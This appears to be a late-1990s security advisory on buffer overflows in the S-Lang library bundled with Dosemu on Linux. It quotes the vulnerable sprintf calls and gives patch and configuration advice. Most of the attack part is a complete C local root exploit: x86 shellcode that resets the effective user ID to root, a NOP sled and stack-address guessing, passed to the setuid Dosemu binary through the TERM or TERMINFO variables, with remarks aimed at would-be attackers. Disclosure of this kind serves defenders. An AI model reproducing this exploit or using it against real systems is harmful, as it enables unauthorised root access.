COMMAND
Dosemu's S-Lang
SYSTEMS AFFECTED
Linux (others?)
PROBLEM
DiGiT and crazy-b found following. It was found that there's
vulnerability in the S-Lang library. S-Lang is is an interpreted
language see http://space.mit.edu/%7Edavis/slang.html for more
info about it. Because of the rumors they suspected it could
already be known, so we started investigating this. They found
that redhat had already posted a patch for this overflow, and
another similar bug, in June '98. And here comes the big BUT!
DiGiT had already successfully exploited the dosemu on a standard
redhat 5.2 installation which came out in November!! Dosemu comes
with its own slang lib, and this had not been patched! Kind of
sloppy, since the 5.2 distrib was released months after the
discovery of this bug. There are the two overflow conditions in
S-Lang; The first one we found could be exploited by setting the
TERM variable to write past the end of err_buf:
sldisply.c line 1616:
SLtt_get_terminfo (void)
-- cut
char err_buf[512];
sprintf (err_buf, "Unknown terminal: %s\n\...cut", term);
Very simple that! And the second overflow is equally obvious...
We cause this overflow by setting TERMINFO to overwrite the file
var: This last one depends on what version of Dosemu, this only
appears to be overflowable in some releases of dosemu which have
TERMCAP defined.
SLtt_tigetent get's called in sldisply.c line 1647:
#ifndef USE_TERMCAP
if (NULL == (Tbuf = tgetent (term)))
sltermin.c line 229:
char file[256];
char *SLtt_tigetent (char *term)
--cut
tidir = Terminfo_Dirs[i];
if (tidir != NULL)
{
sprintf (file, "%s/%c/%s", tidir, *term, term);
In both cases the exploitable condition will not exist if you have
TERMCAP set. So script kiddies, unset TERMCAP before you try to
exploit this! From testing redhat 4.2, and 5.X are vulnerable to
these exploits. So is suse 5.X. It is not unlikely that other
linux distribs contain the vulnerable dosemu. S-Lang has been
ported to many OS', but no chance to see if any of them use it, or
dosemu for that matter.
Exploit follows (By default rh 5.2, does not allow reg user's to
run dosemu so this exploit will probably not work for you, BUT the
overflow exists):
/*
* dosemu/slang overflow exploit for linux/x86
*
* by DiGiT and crazy-b!
*
* !!! for usage information run the program with no arguments !!!
*
* notez:
*
* with some versions of dosemu, an I/O error will occur when exploiting.
* this means you can not communicate with the prog you run from your
* terminal. after executing you may also need to reset your terminal.
*
* we suggest writing a shell script to secure your root privs, if you
* are not able to communicate with your shell. for this reason we have
* made it possible to specify what you want to execute. you may however
* not add any arguments to that command. this is because there simply
* weren't enought time for coding!
*
* because dosemu change its euid to non-root, we have added a little bit
* of code to set this to 0 for you. it can be selected before compiling,
* and should be on by default.
*
* Greetz, #hax, ADM, special greetz to [IG-88]!!
*
* Note: if yah got probs, brute force.
*/
#define PATH_DOSEMU "/usr/bin/dos"
#define DEF_BUFSIZE_1 268
#define DEF_OFFSET_1 911
#define DEF_BUFSIZE_2 1007
#define DEF_OFFSET_2 100
#define UNSET_TERMCAP
#define SET_EUID
#define IQ_LOCKED
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char sc[] =
#ifdef SET_EUID
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80" /* set euid - craz */
#endif
"\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
"\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff";
long get_sp ()
{
__asm__("movl %esp,%eax");
}
void usage ()
{
printf("usage: ./sploit type proggie [offset [bufsize]]\n\n");
printf("type must be one of:\t1 :TERMINFO\n\t\t\t2 :TERM\n\n");
exit(0);
}
int main (int argc, char **argv)
{
int bufsize, offset, n, type;
char *buf, *ptr;
long addr;
printf("\n (= DiGiT and crazy-b presents: =)\n");
printf(" (= linux/x86 dosemu/slang overflow =)\n\n");
if (argc < 3 || argc > 5) usage();
type = atoi(argv[1]);
if (type < 1 || type > 2) usage();
bufsize = argc > 4 ? atoi(argv[4]) :
(type == 1 ? DEF_BUFSIZE_1 : DEF_BUFSIZE_2);
offset = argc > 3 ? atoi(argv[3]) :
(type == 1 ? DEF_OFFSET_1 : DEF_OFFSET_2);
n = strlen(argv[2]);
#ifdef SET_EUID
sc[23] = sc[33] = n + 5; sc[15] = sc[30] = n + 1; sc[20] = n;
#else
sc[13] = sc[23] = n + 5; sc[5] = sc[20] = n + 1; sc[10] = n;
#endif
if ((buf = malloc(bufsize + 1)) == NULL) {
perror("malloc");
exit(-1);
}
addr = get_sp() - offset;
memset(buf, 0x90, bufsize);
ptr = (buf + bufsize) - (strlen(sc) + strlen(argv[2]) + 8);
for (n = 0; n < strlen(sc); n++)
*(ptr++) = sc[n];
for (n = 0; n < strlen(argv[2]); n++)
*(ptr++) = argv[2][n];
*(long *)((buf + bufsize) - 4) = addr;
*(long *)((buf + bufsize) - 8) = addr - 16;
printf(";;; type: %s, launching: %s\n",
type == 1 ? "TERMINFO" : "TERM", argv[2]);
printf(";;; bufsize: %i, offset: %i, address: 0x%lx\n\n",
bufsize, offset, addr);
#ifdef UNSET_TERMCAP
unsetenv("TERMCAP");
#endif
#ifndef IQ_LOCKED
setenv(type == 1 ? "TERMINFO" : "TERM", buf, 1);
execl(PATH_DOSEMU, "dos", 0);
#endif
exit(-1);
}
Note that any Dosemu version running suid root with DPMI enabled
is inherently unsafe. A DPMI program in Dosemu is able to use
Linux system calls, including system calls that require root
privileges. The Dosemu Team is not able to fix this security
hole; system administrators who are serious about security, should
not install Dosemu suid-root. Dosemu can run non-suid on the
Slangterminal, under X, in the background and even on serial lines
(bbs'es for example).
SOLUTION
The Dosemu Team released Dosemu 0.99.6 which fixes the Slang hole.
This is a development release, but the changes will also come in
the next stable release, Dosemu 0.98.5. Dosemu 0.99.6 is
available at:
ftp://ftp.dosemu.org:/dosemu/Development/dosemu-0.99.6.tgz
People using the 0.98 stable release should not run Dosemu suid
root. Remove the s-bit from the Dosemu binary and wait for the
next stable 0.98.5 release.